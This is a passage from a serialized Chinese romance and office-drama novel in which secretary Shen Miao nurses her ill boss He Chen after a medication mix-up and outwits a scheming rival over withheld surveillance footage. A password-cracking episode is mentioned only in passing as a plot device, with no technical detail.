迷迷糊糊的,沈渺从枕头下拿出手机,滑动屏幕就接起。 “华东壹号院305,沈渺,你过来一趟。” 贺忱的声音有气无力,在沉寂的夜晚格外清晰。 沈渺几乎是一瞬间,睡意全无。 “什么?” “我过敏了。” 贺忱的声音伴着嘶气,听起来十分难受。 沈渺撑着身子坐起来,开了床头的灯,“你在深城?” “嗯。”贺忱鼻腔里发出一个单音节。 沈渺挂了电话换上衣服,开车直奔华东壹号院。 那是深城有名的别墅区,离着她这儿不远,开车二十分钟就到了。 深夜道路空旷,沈渺将车速提到最快。 抵达壹号院305时,整栋别墅灯火通明般的亮着。 她快速下车走过去,敲响家门。 门铃响了一声又一声,却没有人接。 沈渺转动手柄,电子锁发出‘滴滴滴’的声音。 她犹豫了几秒,输入密码。 门应声而开,密码跟他京北的家是一样的。 “贺总?” 沈渺顾不上换鞋,走过客厅、厨房玄关,却都不见贺忱。 她又往二楼走去,在主卧虚掩的门里,依稀看到男人的身影。 贺忱躺在床上,盖着薄被,勾出紧致有型的身体轮廓。 他额头敷着退热贴,脸颊有些不同寻常的潮红。 “贺忱?” 沈渺心底一惊,快步过去,覆上他额头,滚烫! “你这是怎么了?” 她的声音,并未让床上的男人有任何反应。 贺忱依旧躺在那里,纹丝不动,骨节分明的手放在身体两侧,强而有力跳动的脉络,清晰可见。 沈渺试图将他扶起来,奈何他太重了,而她肚子里还揣着一个—— 就在她不知如何是好的时候,门铃突然响起。 沈渺重新给贺忱盖好被子,快步下楼,走到玄关便看到可视门铃外,秦川站在那里。 她毫不犹豫将门打开。 “秦医生,你来得刚好,贺忱发烧了,你快去看看。” 虽然秦川是妇产科医生,但他应该能给贺忱诊断一下。 秦川拖着行李箱进来,鞋子都没换就上楼了。 他给贺忱做了个基础检查。 “他应该喝过退烧药了,不过这应该是第二次烧起来。” 秦川看到退烧药少了两颗,推测贺忱百天内应该发过烧。 “是因为感冒吗?” 沈渺倒了一杯温水过来,“要不要送他去医院?” 秦川点头,“你开车,我背他下去。” 他只能判断现在贺忱没有生命危险,但用肉眼判断不出贺忱为什么发烧。 沈渺拿了车钥匙走在前面,锁门开车门,赶往医院。 凌晨一点,贺忱被送到深城第一医院急诊。 沈渺给林昭打电话,林昭远程安排好一切,他们到的时候院长在急诊门口候着。 各科室的主治医生都被连夜喊过来加班,一块儿给贺忱会诊。 约莫半小时,还没诊出结果。 沈渺坐在长椅上,手紧紧扯着衣角,目不转睛地看着紧闭的诊室门。 “不用太紧张,他没有生命危险。” 秦川靠墙站着,时不时打量沈渺一眼,“他喊你过来的?” 沈渺看向秦川,机械般地点头。 末了,她想起什么似的问,“贺总什么时候来的?你怎么也来这儿了?” “一块儿来的。”秦川面色悻悻,避而不谈他为什么深夜拎着行李,敲贺忱家门。 因为深城的蚊子太毒了,尤其到晚上。 “你们来这儿干什么?”沈渺疑惑道,“什么时候来的?” 秦川,“昨天到的,贺忱不放心你一个人在深城,他怕你挨欺负。” 172.让他住你那儿,方便你照顾他 “什么?” 沈渺不是没听清,是带着质疑的反问。 她不过是个下属,贺忱再不放心,也不至于亲自跑过来。 会诊室的门打开,几个带着口罩的白大褂一同出来。 “你们,哪位是贺总的家属?” 沈渺正欲起身,听到医生的话又坐回去了。 秦川指了指她,“她是。” “我?”沈渺侧目,看到秦川朝自己指过来的手指头,下意识站起来。 可她很快又解释,“我是他的下属,不是家属。” “贺总是严重的水土不服,身体脱水引起的发烧,我们已经给他用上药了,最快也要明天有起色。” 贺忱刚到深城没两天,就已经身体脱水开始用药,可见他的症状很严重。 “尽量让贺总饮用矿泉水,一日三餐做易消化的食物,半个月应该就能痊愈,药可千万不能停。” 医生将一张写有水土不服的单子,交给沈渺。 “那他过两天回京北,就不用再吃药了吧?” 沈渺接过单子看了一眼,密密麻麻的注意事项,令人头大。 医生,“回京北以后就不用再吃药了,但注意饮食上还要注意几天,才能恢复正常。” “好。”沈渺点了点头,“谢谢医生。” 医生们散开,各自回家。 贺忱被送到VIP病房里,他已经退烧,面上的红润褪去,染了几抹虚弱的病态白。 “秦医生,你应该知道怎么照顾水土不服的病人吧。” 沈渺看向站在病床另外一侧的秦川。 秦川不说话,挑起右边眉梢看着她,似是用眼神问:什么意思? “我先走了,你有需要再跟我打电话。” 沈渺将臂弯的包往肩膀挎了挎,抬脚朝病房门口走。 孰料秦川先她一步,走到门口。 他开着半扇门,回头与沈渺说,“贺忱就交给你了,我还有事先走。” 不给沈渺拒绝的机会,他关上门火速离开,像是丢掉了烂摊子一样。 沈渺站在病房正中央,迟疑几秒眉头倏地拧起。 她回过头看着病床上的男人,双目微闭不怒自威。 轮廓分明的五官透着虚弱,她从未看到他个样子过。 片刻,沈渺在病床侧的椅子上坐下。 她坐到天亮,期间几次给贺忱试体温,好在没再烧起来。 天色大亮时,沈渺终于撑不住疲倦,到沙发上去休息。 她蜷缩着身体,刚闭上眼睛,就睡着了。 病房里敞着窗户,城市的喧嚣传来,贺忱平缓的眉骨微拢,渐渐醒过来。 他狭长的眼眸睁开一条缝,入目是纯白色的天花板。 鼻翼间萦绕着刺鼻的消毒水味,令他眉头蹙得更紧。 他抬起手捏了捏眉心,昨晚给沈渺打电话的画面跃入脑海。 之后发生什么,他一概不知。 目光扫视一圈病房,最终落在沙发上。 沈渺出来的急,穿了件浅灰色纯棉质地的长裙,套了件黑色的针织开衫。 她整个人透着温婉柔和,尤其那头乌黑披散的长发,更衬得肤色净白。 贺忱看了几秒,从床上下来,走到沙发上,将沈渺抱起来。 他打算把沈渺抱到床上去,睡得还舒服些。 可身体突然腾空,沈渺在沉睡中惊醒,下意识双手勾住他脖子。 蓦地,她那双眼眶微红的眸子睁开,直直撞入男人深沉的目光中。 “你醒了?” 沈渺人还蒙着,下意识地问,“还有没有感觉哪里不舒服?” 贺忱喉结滚动,“没事了。” “医生说你水土不服,都脱水了,让你这几天注意——啊!” 沈渺想的是,他醒了以后交代两句,她就回家。 只是话还没说完,身体突然又下坠了一下。 她下意识搂紧贺忱的脖子,彻底清醒了,这才发现她怎么在贺忱的怀里? 贺忱估摸着,她重了有十来斤。 也不算胖,但他昨天一天没吃东西,又折腾了一夜,抱久了突然就卸了力气。 他屏气凝神,又及时将她接住了。 沈渺回过神,迅速从他怀里出来。 她整理着裙衫,面色带着不自在。 “看你在沙发上睡得不舒服。”贺忱嗓音涔涔地解释。 沈渺摇头,“没事,不睡了,贺总要是没别的事情我就先回家了,等会儿还要去公司。” “我在生病。”贺忱眉骨一拢,吐出四个字。 “医生说你病得不严重,注意饮食就可以。”沈渺拿起椅子上的包。 贺忱面色不虞,“沈秘书如此避嫌,是怕张科研介意吗。” 沈渺看他一眼。 “你不怕程小姐介意吗?” “没什么好介意的,总不能死在异国他乡。” 贺忱话重。 搞得好像一个水土不服,能死人一样。 沈渺敏锐地捕捉到,他带着情绪。 许是身体不舒服。 听他提起张科研,本来想跟他多说两句,但显然现在不是时候。 “你什么时候回京北?” 沈渺这话一落,贺忱心底的不悦更是被扩大了。 他越过她回到病床上坐下,一言不发。 “医生说你回京北就可以停药,注意两天饮食就能恢复正常。” 沈渺不管他哪儿来的情绪,交代完他的病情,转身就走。 贺忱眼皮轻掀,睨了她背影一眼,面色涌上薄怒。 不等沈渺推开病房门,门被人从外面推开。 秦川拎着一个保温桶进来,挡住了沈渺的去路。 “都醒了,那我来得刚好,你们两个的早餐。” 沈渺微点了下头,算打过招呼,“辛苦秦医生了,不过不用了,我回去吃。” “你要走啊?”秦川看他一桌完整,手里还拿着包,问道。 “嗯。” 秦川又看看病床上的男人,脸色黑臭黑臭的。 他又说,“那你什么时候回来?” 沈渺下意识想说,她不回来。 她又不是贺忱的家属。 可是转而一想,这千里之外,贺忱没有亲人在这边。 她身为贺忱的下属,照顾他是理所应当的事情。 沈渺犹豫了几秒问,“秦医生,你方便照顾贺总吗?” “不方便。”秦川摇头,“我睡大街,他身体娇贵,可受不了。” 睡大街? 沈渺突然觉得秦川莫名其妙。 “不如这样吧。”秦川看了贺忱一眼,缓缓道,“他没必要再住院了,让他住你那儿,方便你照顾他。” 173.你深夜去见了贺忱 “不行。” 沈渺拒绝得干脆利落,“你照顾刚合适。” 秦川,“我不行,不方便。” 他一个男人,能比沈渺这个女下属,更不方便吗? 沈渺想反驳的话还没说出口,就见床上的男人掀开被子下来。 他三下五除二,将衣服穿上,换好鞋子,推开挡在门口的秦川,阔步离开。 两双眼睛,齐刷刷看着他一言不发却果断的动作。 “他,去哪儿?”沈渺不明所以地问秦川。 秦川,“被你气走了,你嫌弃他是个累赘,不愿意管。” “我没有嫌弃他的意思,只是你这个朋友在,而且还是医生,轮不到我管。” 沈渺实事求是,更何况她还是个孕妇。 秦川,“我说了,我没空。” “……”沈渺想说,她也没空,公司一堆事情呢。 刚刚看了眼手机,李白恬给她发了好多消息。 “没事,他这么大人了,死不了。” 秦川给她一个安心的眼神,“都去忙吧。” 说完秦川先走了。 沈渺在原地沉了几秒,再出病房,已经不见了贺忱的踪影。 她锁着眉离开医院,顾不上回家换衣服,直接去了公司。 她一直没回李白恬的消息,没等到公司,李白恬就打了电话过来。 “沈总,赵经理跟公关部经理吵起来了,公关部经理打了赵经理一巴掌,赵经理报警了,公安局的人来把他们带走了!” 沈渺将车在马路上掉头,直奔警局。 “你盯着公司,我现在去警局。” 她所在的地方离警局不远,约莫十来分钟就到了。 警局门口,韩文松与几个人凑到一起,低声说着什么。 沈渺下车朝这边走来,有人看到她,立马低声提醒韩文松。 “沈总来了。” 一瞬,凑到一起的几人散开。 韩文松看向沈渺,“沈总,你来得刚好,警方要依法处置赵经理动手打人,卢经理被送到医院去了。” 沈渺停下,反问道,“赵经理动手打人?” “是。”韩文松点头。 刚刚电话里,李白恬说的是卢经理先动的手。 怎么到了这儿,成了赵娜打人,卢经理进医院呢? 沈渺没再听韩文松说下去,她径直进入警局内,找负责案件的民警了解事情的经过。 “肇事者赵娜被公司多人指证动手打人,受害者卢先生已经去医院了,我们有同事跟过去,传话回来说受害者被诊断为中度脑震荡。” 警方一五一十地跟沈渺说,“受害者不同意和解。” “赵娜认了?”沈渺越听眉头皱得越紧。 “没有,所以希望沈小姐配合我们,调出你们公司的监控录像,让肇事者无话可说。” 民警似乎已经认定,是赵娜动手打人。 沈渺点了下头,“我想先见赵娜。” “可以,人在里面。” 民警指着一扇关着的门。 沈渺走过去,守着门的人帮她将门打开。 审讯室,赵娜坐在位置上,看到沈渺进来她立刻站起来。 “我没有打人,你去调监控,就能证明我的清白!” 她情绪激动,兢兢战战了大半辈子,好不容易爬到现在这个位置上。 昨晚决定要跟沈渺,今早上就韩文松摆了一道。 沈渺安抚她,“先别急,我会想办法在韩文松手里拿到监控,证明你的清白。” 民警要监控,是为了早点结案。 可韩文松不会把监控交出来,毕竟赵娜没有打人。 这件事情拖久了,有韩文松等人作证赵娜打人,早晚赵娜都会被定罪。 赵娜后知后觉想起来,安保部是韩文松的人。 韩文松怎么会把监控给沈渺呢? 顿时,她面如死灰。 “放心,我会想办法拿到监控。” 沈渺语气坚定,“这几天先委屈你在这里等消息。” 赵娜一屁股坐回椅子上,沉默下来。 沈渺是聪明,可她不认为沈渺有跟韩文松斗的资本。 “相信我,我一定会证明你的清白,让你重回公司,坐稳人事部经理的位置。” 沈渺看她脸色,就知道她无法相信自己。 多说无益,她撂下这话,离开审讯室。 审讯室外,方才还围着韩文松的人消失得无影无踪,只有韩文松还站在那里。 看到沈渺出来,韩文松面含得意地走过来。 他嘴上却是说着惋惜的话。 “沈总,真是可惜了,赵娜这第一个想跟着你的人,怎么就这么冲动,进局子了。” 沈渺拎着包缓步下台阶,长裙摇曳,露出一小截白皙的脚踝。 便装令她看起来很柔和,褪去了几分凌厉,看起来很好欺负。 可韩文松因她眼底的那抹冷漠,而下意识从心里生出一股忌惮。 “让安保部把监控送到警局。” 沈渺下到最后一个台阶,停下来。 韩文松,“不巧,监控坏了。” “那真是安保部的失职。”沈渺拢了拢被风吹散的头发,漠然地看向韩文松,“两个小时之内,监控录像拿不出来就让安保部部长自动辞职。” 韩文松好笑不已,“人事部群龙无首,人员调动短时间内无法进行。” “我亲自走流程。” 沈渺一字一顿,当着韩文松的面,拿出手机给李白恬打电话。 “准备一份解约书,送到公关部去,并且以严重的工作失职,要求卢经理进行赔偿。” 韩文松的脸色一点点沉下来。 他以为,这个时候沈渺会方寸大乱。 没想到,沈渺还能看准时机,捏住他的软肋。 今天要是沈渺保住了赵娜,对沈渺拉拢其他部门的人,有很大好处。 而韩文松要是不保卢经理,就会军心涣散,对沈渺也有好处。 “我听说,贺总来深城了。” 韩文松话锋突然一转,“贺总千里迢迢跑到深城来,却没来公司足以证明他不是为了工作来的,难不成说……他是为了私事来的?可贺总马上就要结婚了,准贺少夫人就在京北,贺总能为什么人特意跑到深城来一趟?” “贺总的事情我不清楚,你要好奇自己去问问。” 沈渺甩手就走。 “你是不清楚,还是不敢说?”韩文松拔高音量,“昨晚你深夜跑到华东壹号院,不就是去见贺总了吗?这事儿要是传出去……” 174.他在你心里,不单上司这一个身份 这事儿要是传出去,就乱套了。 威胁的意思不言而喻。 沈渺一下笑出来,“先不说我跟贺总到底有没有什么,你曝光这件事情受损的是贺家,就算是韩董都不敢跟贺家对着干,就凭你敢得罪贺家?” 她最大的底气,就是有贺忱撑腰。 别说她没捅娄子,就算真捅了,贺忱也会站在她这边。 韩文松得意的神色褪去,面色渐渐铁青。 沈渺没再离他,转身上车离开。 公司,李白恬在她办公室等着。 她刚进来,李白恬就把门关上,疑神疑鬼地跑过来。 “沈总,我刚刚偷听到周敬才打电话了,安保部把公司的监控录像上传到云共享账号里了,我连账号号码都记下来了!” 李白恬把那串号码发到沈渺手机上,“这是公司账号吗?你知道密码吗?” 沈渺拿出手机看了一眼,摇头,“这当然不是公司的账号。” “啊?”李白恬一脸挫败,“他们不肯提供监控录像,赵经理岂不是没救了?” 她在周敬才的电话里,已经知道韩文松的全部计划。 知道赵娜要叛变,立马舍弃这颗棋子,顺便给沈渺一个下马威。 沈渺盯着手机上那串数字,沉吟片刻道,“我有办法了,你去忙你的。” “哦。”李白恬应了声,正欲走,突然又折回来了,“对了,给高太太送过去的礼物她不收,退回来了。” “把礼物给我,改天有机会我亲自拿去给她。” 不论高夫人是真不收,还是出于礼貌客气一下。 沈渺都要把这个人情还了。 李白恬回工位拿了个精致的小盒子放下,离开了办公室。 沈渺将那串云共享账号发给林昭,然后给林昭打电话,请他找人破解密码。 “给我十分钟。” 林昭手底下有高手,破解这种密码是分分钟的事情。 “越快越好。”沈渺一点儿反转的余地,都不想给韩文松留。 “分部情况很棘手吗?贺总怎么总不接电话?” 林昭因为工作,给贺忱打过几次电话。 每次都得打好几遍,贺忱才接。 “贺总身体不适,昨晚刚从医院急诊出来。” 沈渺如实说。 林昭,“很严重吗!?” “已经退烧了,应该……问题不大。” 沈渺将‘应该’两字,拉长尾音。 她想到今早上贺忱甩脸离开医院的场景。 “那就好,这段时间辛苦沈秘书好好照顾贺总了,我联系不到贺总的时候,就给你打电话,免得耽误了这边工作……” 林昭絮絮叨叨了一堆。 大抵的意思是,沈渺要照顾在深城的贺忱。 毕竟千里之外,贺忱刚过去,还生了病,工作还繁忙…… 他这话,说得好像沈渺没留在医院照顾贺忱,是‘大逆不道’。 毕竟,那是她的顶头上司,远在千里之外又没有亲人在身边,照顾一下是理所应当的事情。 “知道了,云端账号破解之后,你把里面的视频发到我邮箱,先挂了。” 沈渺催促着挂了电话。 林昭的动作很迅速,不出十分钟,视频已经转发到她邮箱。 她立马又去一趟警局,将东西交到民警手上。 民警播放了一遍,就让赵娜从审讯室出来了。 “赵女士,你有权利对其他人进行追责,也可以追究行凶者的责任。” 赵娜毫不犹豫地说,“我追责!不光卢经理,还有作伪证的所有人!” “好。”民警立刻重新立案展开调查。 中午十二点半,沈渺把赵娜从警局带出来。 “上车,我带你去吃饭,就当给你接风洗尘了,去去晦气。” 沈渺走到车边,拿出车钥匙解锁。 赵娜站在车边,脸上有几分激动。 “我没想过,你这么快就能把我捞出来!” “把你捞出来是迟早的事情,能这么早的捞出来多亏了林助帮忙。” 沈渺还得清醒,韩文松团队里有周敬才这个猪队友。 “贺总对你可真好。”赵娜下意识把林昭的功劳,都归功到贺忱身上。 毕竟,林昭是贺忱的人。 “你很聪明,能力也很强,也难怪贺总这么重用你。” 沈渺汲气,无言以对她的夸赞,只能笑道,“好了,赶快上下,下午还有一场戏。” 赵娜打开车门上去。 两人简单吃了口饭,就回了公司。 沈渺让赵娜准备了两个解约书,一个给公关部经理,一个给安保部部长。 并且还追责两人给公司带来的损失,不光一分钱的违约金不掏,还让他们赔付了违约金。 赵娜成了沈渺的人,打了一个漂亮的翻身仗,折损了对方两员大将。 韩文松给警局打了电话,才知道沈渺已经拿到了监控录像。 他压根不知哪里出的纰漏,只知道沈渺有贺忱撑腰,他斗不过。 韩文松给韩董打了一通电话,“得想个办法,让贺忱不能再护着沈渺了。” “这事,好办。”韩董意味深长地说,“贺忱那小未婚妻该派上用场了,这段时间先别轻举妄动,等我的消息。” 韩文松,“好。” —— 赵娜彻底归顺以后,将公司各部门高层的老底,全都透给沈渺了。 沈渺逐个分析了一遍这些‘毒瘤’,为先从哪个开始‘拔’做准备。 晚上下班时,已经快十点。 商音给她打了两遍电话,喊她回家吃了饭早点休息。 沈渺回去的路上,电话再一次响起。 她直接摁下蓝牙耳机,接通电话,“正在回家的路上了,别催了。” “沈小姐,是我。” 秦川的声音传来。 沈渺这才发现,电话不是商音打来的。 “秦医生,有事吗?” 秦川问,“你今天联系过贺忱吗?” 红绿灯路口,沈渺将车停下,“没有。” “我给他打了十几通电话都没人接,他该不会又出事了吧?” 秦川语气凝重,“你能不能过去看看他?” 沈渺下意识说,“我还有工作……” “你刚刚说在回家的路上了。”秦川戳破她的谎言。 沈渺:“……” 她不是不顾贺忱的死活。 秦川也在深城,身为贺忱的好朋友,比她这个下属更有适合深夜赶过去照顾贺忱。 “沈小姐,你如果只把自己当成他的下属,就不该有这么多忌惮,除非……” 秦川拉长尾音,“他在你心里,不单上司这一个身份。” 175.贺总,你今晚先在这里委屈一下。 “秦医生,药可以乱开,话不能乱说。” 沈渺语气严肃。 秦川:“……” “我现在去看看贺总。” 红灯转绿,沈渺一脚油门踩下去,将车在路口掉头,朝着华东壹号院驶去。 半小时后,沈渺接着商音的电话,在车上下来。 “我只是以下属的身份来看看他,毕竟他出事对我没好处,是是是,你说得对,他就是个麻烦……” 商音知道贺忱来了,好一通抱怨。 她觉得沈渺瞒着她,是别有想法。 沈渺无奈的解释,顺着她的话连声附和。 “尽早回来,不许在那里过夜。” 商音凶巴巴地丢下两句话,挂了电话。 手机屏幕微弱的光,照在沈渺巴掌大的小脸上。 她细眉拧成一团,又给商音发消息。 【我一定回家,不过时间肯定不早了,你带商商先睡,别等我。】 商音:【知道,我才不等你,反正要是发现你没回来,后果很严重!】 沈渺回了个‘好’,收起手机朝别墅里走。 谁知一抬头,冷不丁对上一道深邃的目光。 贺忱站在别墅门口,修长的身子斜靠着墙壁。 自然垂落在身侧的修长手指里,夹着一根缓慢燃着的烟支。 不知道他在这里站了多久,但一定是在沈渺下车之前,不然她不可能发现不了他走出来。 也就是说……他听见她打电话了。 “贺总,既然你没事,我就先走了。” 沈渺原地僵了几秒,转身就要走。 她步伐快的,像是后面有鬼在追,生怕贺忱突然开口喊住她。 可直到她打开车门上去,男人都沉默着。 沈渺忍不住回头看了一眼。 门灯昏黄,男人白色衬衫泛着微微的橘光。 棱角分明的面容轮廓清晰,那双沉眸却是暗不见底的。 他面色透着些许的红润,不似往常的冷白。 直觉告诉沈渺,他还在发烧。 静默数秒,沈渺关上车门又回来了。 她走到贺忱面前,抬手覆上贺忱的额头。 “你没吃退烧药吗?” 贺忱掐灭烟,挥手散去烟气。 “吃了。” 他一开口,嘶哑的嗓音令病态瞬间就显形了。 沈渺,“什么时候吃的,现在烧到多少度?” “两个小时之前吃的,没测体温。” 贺忱觉得头沉得厉害,就吃了退烧药。 可症状并未缓解,身体一直有股燥热,他这才来外面透透风。 “进去测一下。”沈渺往别墅里走。 贺忱嗓音悠悠然,“死不了。” 他没跟上来。 三个字淋漓尽致地展现了什么叫阴阳怪气。 沈渺将包放在玄关柜子上,怔了下很快恢复动作,进去找药箱。 茶几上丢着拆开包装的药,沈渺翻看了两下,愣住。 退烧药还没拆包装,缓解水土不服的药,少了六七颗! 他吃错药了! 沈渺脑袋‘嗡’的一声,转身拿了包拉着贺忱,朝车上走。 “我带你去医院。” 贺忱手腕一紧,微凉的触感传来。 他低头便看到沈渺细白的手圈着他手腕。 她手指细长,指尖泛白,根本圈不过来,小指还勾着他袖口。 两人到了车前,沈渺松开他的手,打开车门,“上车。” 她面色不怎么好看。 许是觉得他烦。 贺忱眉骨一拢,“不给沈秘书添麻烦了。” 他刻意咬重‘麻烦’两个字。 贺忱的身体一向很好,沈渺跟他这几年,他生病的次数屈指可数。 发烧更是没有过。 总觉得他拧着一股劲儿,也不知是跟沈渺过不去,还是跟自己过不去。 沈渺提醒他,“一直不退烧,有可能变成傻子。” 贺忱看她一眼,她这语气,已经把她当成傻子了。 “你去喊秦川来。” “秦医生要是来,我……” 我就不来了。 沈渺的话到嘴边,又改了,“我都来了,就别折腾秦医生了。” 聪明如贺忱,他怎么能不知那句‘秦医生要是来’,下句该对什么。 “你用药过量了,严重会死人的,去医院挂个急诊看看吧。” 沈渺不管他同不同意,直接给林昭打电话,再次安排医生。 大半夜,京北的深城的,都为贺忱忙成了一锅粥。 沈渺觉得,贺忱可能是怕死,所以没再挣扎,跟着她去医院了。 一如昨晚的情景,不同的是只留了对症的一位院士级别医生给贺忱看诊。 “幸好贺总这个药也用错了量,应该每次吃两粒,他吃了一粒,不然真要出事了!” 医生额头冷汗直冒。 要真出了事,别说他,整个医院都不够赔的。 “他现在还在发烧。” 沈渺一阵头大,“先给他开退烧的,其他的药怎么吃,你写在包装盒上,字写大一些。” 医生连连点头,在每个药物盒子上都标注了用法用量。 “吃之前按照医生标注的剂量用药。” 沈渺转过头,轻声与贺忱说。 贺忱坐在椅子上,双腿叠放,白色的衬衫不修边幅地敞着几颗扣子。 他下巴上长出了一圈青色的胡茬。 诊室的灯亮,此刻才显现出他刚毅的面容下,隐藏的病态憔悴。 静默数秒,沈渺又转过头跟医生说,“哪个是退烧药,用红笔写上。” 医生头大,汗拼命往下流。 “沈小姐,这两天贺总身边最好别离人,免得再出状况,虽然水土不服不会出人命,但万一太严重引起并发症,什么都不好说。” 沈渺拿下贺忱身上的体温计,三十九度六。 烧了一天这会儿还能保持清醒,已经是奇迹了。 “我先给他把退烧药吃了,您给他开个单子住院吧。” 医生迟疑几秒说,“没必要住院,回家养着好的更快。” 人要是在医院出了事儿,医院的责任就更大了。 不过是个水土不服,搞得好像随时会挂了一样,医院都不敢收。 沈渺无奈,只能拿了药带着贺忱离开。 凌晨一点,道路上几乎没有车辆。 折腾这么久,沈渺筋疲力尽,带着贺忱去了她那儿。 原因是近,十几分钟就到了。 “贺总,你今晚先在这里委屈一下。” 沈渺下车,将后座车门打开。 贺忱闭目小憩,感觉身上的热度一点点散去,人舒服了不少。 他睁开眼,入目是沈渺那张精致的小脸。 176.起得来吗?我扶你 沈渺扬着胳膊开车门的动作,让裙衫熨着她的身形。 微微凸起的小腹,十分明显。 贺忱的目光下移,落在她肚子上。 一股无法用言语形容的滋味,在他心头化开。 “起得来吗?我扶你。” 沈渺弯腰探进车内半个身体,试图搀扶他。 他胳膊微动,避开她的动作。 “我自己来。” 闻言,沈渺站直身体,让开位置。 贺忱从车上下来,步伐微虚,朝她家走去。 沈渺关上车门,掏出车钥匙快步往家里走,赶在贺忱前面把家门打开。 “这里有拖鞋——” 她弯腰想在柜子里拿拖鞋。 手腕突然一紧,被贺忱骨节分明的手握住。 他蹲下来,打开柜子自己将鞋拿出来。 沈渺站直了腰,转了下手腕从他手中挣脱出来。 “我去给你弄点吃的,吃完了喝药。” 她转身进厨房,将商音留的营养粥加热。 再出来时,贺忱已经在餐桌前坐下了。 “贺总,你先吃,我上楼给你收拾房间。” 沈渺将粥放在他面前,又拿了一个汤勺给他。 “等会我自己收拾。”贺忱慢条斯理地吃着东西。 “不了,我帮您收好。” 沈渺态度毕恭毕敬,完完全全将他当成上司来看。 她保持着的那股不逾越半分的疏离,让贺忱本就微蹙的眉头,蹙得更紧了。 “你的上司是有血有肉的人,不是冷血动物,没有半夜三更压榨怀孕下属收拾床铺的癖好。” 他嗓音的不虞浓的一瞬将整个房间填满。 气氛逐渐诡异,沈渺觉得还是她跟商音说的那句‘他就是个麻烦’,才让贺忱这么不高兴。 二楼也没什么好收拾的,商音搬走后她收拾过一遍了。 “那您吃完了把碗放在洗碗池,明天我收,我先回房间休息了。” 沈渺转身要走,又突然想起来贺忱的吃药。 她绕到玄关拿了药过来,抠出两粒治疗水土不服的药片,放在桌子上,又倒了一杯温水。 “等会儿吃这两颗。” 贺忱鼻腔里发出一个单音节,没再说别的。 沈渺有些不放心,“盒子里的不能吃。” 贺忱:“……” “你半夜如果还难受,就喊我,我不关房门。” 沈渺突然觉得,不该让贺忱到她这儿来。 医生怕贺忱在医院出事,医院吃不了兜着走。 贺忱要在她这儿出了事儿,她会更惨。 她脸上写着怕贺忱死在她这儿的顾虑。 “我退烧了,这会脑袋清醒。” 贺忱吃了几口粥,放下勺子,端起水杯将药吞服。 然后他起身朝二楼走去。 沈渺看着他剩下的半碗粥,可惜了,她还有些饿呢,没吃上。 她将剩下的粥倒掉,收拾好碗筷回房间了。 回来的路上,沈渺就愈发觉得让贺忱到她这儿来不太好。 她会不自在是小,主要是被人知道了不好。 她以为自己要彻夜失眠,惴惴不安一整晚。 但连续两天晚上被折腾,她早已筋疲力尽。 头刚沾上枕头,就被汹涌而来的倦意笼罩,睡过去了。 —— 京北。 贺忱去了深城后,贺家的气氛就一直不太对。 贺懿每天饱受煎熬,她实在沉不住气了。 “奶奶,你说我哥去深城到底干什么的?” 贺老夫人,“工作呗。” 贺懿挠了挠头,“这该去深城的不去,不该去的倒是跑得挺快。” “谁该去?”贺老夫人扒了下老花镜,看贺懿,“你想去?” “不是我,何之洲啊。”贺懿振振有词,“你是不知道,何之洲最近每天都相亲,京北年轻女人都快被他相遍了!” 要不是贺家跟何家的关系没明面上那么好,只怕她都要跟何之洲相亲了。 “这你还看不明白吗?”贺老夫人叹息着,“肯定是何家不同意渺渺进门。” “我去选个麻袋,把何之洲绑了,摁着他的头揍一顿,死渣男!” 贺懿气得牙痒痒。 她看来,何之洲那个浪荡子,根本配不上沈渺。 要是没有家世撑着,何之洲肯定是娶不上媳妇的货色。 “罢了,渺渺不愿让我们插手,我们……尊重她。” 贺老夫人一想到沈渺远在千里之外,孤身一人怀着孩子,就担心。 “奶奶,我觉得苗头不对。” 贺懿往楼上看了一眼,“程家闹了那一出,我妈挺不高兴的,不知道是生程家的气还是我哥的,她没地儿撒,这两天看我的眼神不对,我得溜。” 贺老夫人‘嗯’了一声,“你也去深城吧,看看你哥到底在搞什么鬼。” “得嘞!” 有了贺老夫人支持,贺懿立马定了一张明天飞深城的机票。 那之前,她去了趟商场,置办两套行头。 谁知,就这么巧,遇上了何之洲跟一个年轻女人逛街。 更巧的是,贺懿跟那个女人相中了同一件衣服。 “你进去试。” 何之洲先贺懿一步,把衣服拿过来,让女人去试。 “好,谢谢之洲哥。”女人拿了衣服进更衣间。 贺懿气的鼻子快歪了,“死渣男。” 说完她转身要走。 面前忽然一晃,何之洲穿着花色系衬衫,快步走到她面前,拦住她去路。 “贺懿,我跟你无冤无仇吧,你一直找人跟踪我不说,现在还骂我,什么意思?” 何之洲早就发现,有人在背地里盯着他。 他查了查,才发现是贺懿的手笔。 贺懿比他小七岁,在他眼里就是小丫头片子一个。 他没放在心上。 谁知这一碰面,贺懿不光没好脸色,还骂他渣男。 “你就是死渣男!”贺懿不怕他,“整天左拥右抱,还把渺渺给气走了!” 何之洲知道沈渺调职去深城的时候,他也正头疼呢。 一边觉得沈渺走了这出戏没法继续唱。 一边又觉得自己那想法太罪恶了,对不起沈渺。 “等等,你把话说明白,什么叫我气得她?” 何之洲后知后觉反应过来。 周围人多,贺懿不好乱说话,她冷了何之洲一眼,“起来,好狗不挡道!” “年纪不大脾气不小,回去告诉你哥,别再背后搞小动作,有本事面对面较量!” 何之洲落下手,给她腾出去路。 贺懿‘切’了一声,“我哥去深城了,没空跟你面对面呢!” “你哥去深城了?”何之洲不由自主拔高音量。 贺忱竟然去深城了?他不会是…… 何之洲一哆嗦,比贺懿还快一步离开,给助理打电话,“快,定去深城的机票……怕什么?我爸就是把我腿打断,今天我也要去深城!” 177.他这个麻烦精 “神经病。” 贺懿对他突然扭头就走,感到莫名其妙。 没听清楚他说了什么,转身去逛自己的,为去深城做准备。 —— 早上六点,沈渺被闹铃吵醒。 她迅速关了手机,起床进浴室洗漱。 刚洗漱到一半,门铃声响起,一声接一声快而急。 她刷完牙,脸都没来得及洗,就跑过去开门。 “早餐。” 商音端着白色的小瓷盘,盘中的三明治精致诱人,是她亲手做的。 “好。”沈渺伸出手去端瓷盘。 她的手还没碰到盘子,就被商音推开。 “你洗你的,我给你端进去,正好你跟我说说贺忱到底怎么回事。” 商音径直进入室内,她洪亮的声音充斥在房间的每一个角落。 沈渺心口一紧,拔腿就追上去。 她压低声音道,“我着急去上班,回头再说。” “着什么急,你不七点钟才出门呢,我特意早起过来,你别想逃避。” 商音放下早餐,一屁股坐在餐桌前,“你说贺忱来深城是帮忙的,可我也没见他帮你,反而三更半夜折腾你,真是个累赘,麻烦精,他——” 沈渺直冲她眨眼睛。 楼梯口,贺忱站在那里,眼眸惺忪显然是刚被吵醒的。 他微蹙的眉头,随着商音出口的每一句话,而拧得更紧。 “唔!” 